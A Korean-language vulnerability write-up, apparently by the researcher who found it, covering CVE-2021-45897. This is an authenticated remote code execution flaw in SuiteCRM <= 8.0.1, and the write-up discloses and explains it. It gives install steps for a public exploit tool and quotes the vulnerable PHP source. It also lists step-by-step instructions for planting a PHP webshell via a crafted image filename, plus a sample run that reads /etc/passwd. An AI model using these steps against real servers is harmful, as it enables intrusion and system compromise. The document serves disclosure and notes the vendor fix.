
인증된 RCE 익스플로잇: SuiteCRM <= 8.0.1의 이메일 템플릿 이미지 업로드를 통해 PHP 웹셸을 심어 원격 명령 실행을 수행합니다.
CVE-2021-45897(일명 SCRMBT-#180)에 대한 PoC - SuiteCRM <= 8.0.1에서 이메일 템플릿을 통한 RCE(인증 사용자만 해당)
이 취약점은 SalesAgility에 보고되었으며 SuiteCRM 7.12.3 및 SuiteCRM Core 8.0.2에서 수정되었습니다. 이전 버전의 SuiteCRM을 사용 중이라면 업데이트를 적극 권장합니다.
설치
python3과 pip이 설치되어 있는지 확인하세요.git clone https://github.com/manuelz120/CVE-2021-45897.gitpip3 install -r "requirements.txt"사용 가능한 옵션:
(.venv) ➜ CVE-2021-45897 git:(main) ✗ ./exploit.py --help
Usage: exploit.py [OPTIONS]
Options:
-h, --host TEXT Root of SuiteCRM installation. Defaults to
http://localhost
-u, --username TEXT Username
-p, --password TEXT password
-P, --payload TEXT Shell command to be executed on target system
-d, --is_core BOOLEAN SuiteCRM Core (>= 8.0.0). Defaults to False
--help Show this message and exit.
https://github.com/manuelz120/CVE-2021-45897
사용 예시:
(.venv) ➜ CVE-2021-45897 git:(main) ✗ ./exploit.py -u user -p <redacted> --payload "cat /etc/passwd"
INFO:CVE-2021-45897:Login did work - Planting webshell as Note
INFO:CVE-2021-45897:Note with paylaod located @ 6da23afd-06a0-c25a-21bd-61f8364ae722
INFO:CVE-2021-45897:Successfully planted payload at http://localhost/public/6da23afd-06a0-c25a-21bd-61f8364ae722.php
INFO:CVE-2021-45897:Verifying web shell by executing command: 'cat /etc/passwd'
INFO:CVE-2021-45897:------ Starting command output ------
INFO:CVE-2021-45897:root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
INFO:CVE-2021-45897:------ Ending command output ------
INFO:CVE-2021-45897:Enjoy your shell :)
최근 PHP 기반 SuiteCRM 소프트웨어에서 흥미로운 RCE 공격 벡터를 발견했습니다. 이 취약점은 EmailTemplates 모듈에 접근 권한이 있는 인증된 공격자가 악성 PHP 파일을 업로드하여 원격 코드 실행을 달성할 수 있게 합니다.
제 관점에서 볼 때, SuiteCRM의 전반적인 파일 업로드 처리는 상당히 안전해 보입니다. 커스텀 코드가 많지만, 개발자들은 대부분의 파일 유형에서 파일 확장자를 제거하거나(대부분의 파일 유형에서 발생), 이미지인 경우 확장자를 검증하고 콘텐츠를 정화하는 데 세심한 주의를 기울였습니다. 또한 타사 AV 스캐너를 로드하여 모든 업로드를 처리하도록 하는 플러그인 인터페이스도 존재합니다.
하지만 public/legacy/modules/EmailTemplates/EmailTemplate.php에 숨겨진 흥미로운 작은 기능을 우연히 발견했습니다:
private function repairEntryPointImages()
{
global $sugar_config;
// repair the images url at entry points, change to a public direct link for remote email clients..
$html = from_html($this->body_html);
$siteUrl = $sugar_config['site_url'];
$regex = '#]*[\s]+src=[\s]*["\'](' . preg_quote($siteUrl) . '\/index\.php\?entryPoint=download&type=Notes&id=([a-f0-9]{8}\-[a-f0-9]{4}\-[a-f0-9]{4}\-[a-f0-9]{4}\-[a-f0-9]{12})&filename=.+?)["\']#si';
if (preg_match($regex, $html, $match)) {
$splits = explode('.', $match[1]);
$fileExtension = end($splits);
$this->makePublicImage($match[2], $fileExtension);
$newSrc = $sugar_config['site_url'] . '/public/' . $match[2] . '.' . $fileExtension;
$this->body_html = to_html(str_replace($match[1], $newSrc, $html));
$this->imageLinkReplaced = true;
$this->repairEntryPointImages();
}
}
private function makePublicImage($id, $ext = 'jpg')
{
$toFile = 'public/' . $id . '.' . $ext;
if (file_exists($toFile)) {
return;
}
$fromFile = 'upload://' . $id;
if (!file_exists($fromFile)) {
throw new Exception('file not found');
}
if (!file_exists('public')) {
sugar_mkdir('public', 0777);
}
$fdata = file_get_contents($fromFile);
if (!file_put_contents($toFile, $fdata)) {
throw new Exception('file write error');
}
}
SuiteCRM은 사용자가 이메일 템플릿을 생성할 수 있게 합니다. 템플릿에는 별도의 모듈(Notes 모듈)에 저장되는 첨부 파일도 포함될 수 있습니다. 사용자는 이메일 템플릿에 임의의 파일을 첨부할 수 있습니다. 파일의 콘텐츠는 어떤 방식으로도 정화되지 않습니다. 그러나 확장자 없이 저장되므로 잠재적으로 악성 PHP 코드가 포함되어 있어도 웹서버에서 실행되지 않습니다. 인증된 사용자는 /index.php?entryPoint=download&type=Notes&id=<note-id> 형식의 링크를 사용하여 이러한 첨부 파일을 다운로드할 수도 있습니다.
repairEntryPointImages 함수는 이메일 템플릿이 저장되거나 접근될 때마다 트리거됩니다. 코드를 살펴보면 이메일 템플릿의 마크업(body_html)을 파싱하고 특별한 src 속성을 가진 HTML img 태그를 찾는 것을 확인할 수 있습니다. 정규식은 기본적으로 내부 첨부 파일 다운로드 링크의 형식과 유사합니다. 그러나 이러한 링크는 SuiteCRM에 인증된 사용자에게만 작동하며, 이메일 수신자의 경우 대부분 그렇지 않을 것입니다. 따라서 SuiteCRM은 웹서버의 public 폴더에 첨부 파일의 복사본을 자동으로 생성하고 내부 다운로드 링크를 공개 버전으로 교체합니다. 이메일 클라이언트가 이미지를 제대로 표시하도록 하기 위해 파일 확장자도 추가합니다. 그러나 public 폴더의 대상 파일 확장자는 이미지 src의 filename 쿼리 매개변수에서 직접 가져오며 검증되지 않습니다(filename은 다른 로직을 트리거하지 않으며 자유롭게 선택할 수 있습니다).
이제 public 폴더에 PHP 웹셸을 업로드하는 익스플로잇을 만들기 위한 모든 요소가 준비되었습니다:
Notes 모듈에 새 이메일 첨부 파일/레코드를 생성합니다. Note의 id를 기억하세요./index.php?entryPoint=download&type=Notes&id=<note_id>에 접근하여 PHP 파일을 다운로드할 수 있는지 확인합니다.repairEntryPointImages의 정규식과 일치하지만 filename 쿼리 매개변수에 .php를 사용하는 이미지 태그를 추가합니다 (예: /index.php?entryPoint=download&type=Notes&id=<note_id>&filename=pwned.php" />).repairEntryPointImages 함수를 실행하고 웹셸을 .php 확장자로 public 폴더에 복사합니다.http://<<host>>/public/<<note_id>>.php에서 셸을 즐기세요.제 보고 직후, 다음 수정 사항이 포함된 새 SuiteCRM 버전(7.12.3 및 8.0.2)이 출시되었습니다:

이 수정 사항은 repairEntryPointImages에서 유효한 이미지 파일 확장자만 사용되도록 보장하며 .php와 같은 화이트리스트에 없는 확장자의 파일 생성을 방지합니다.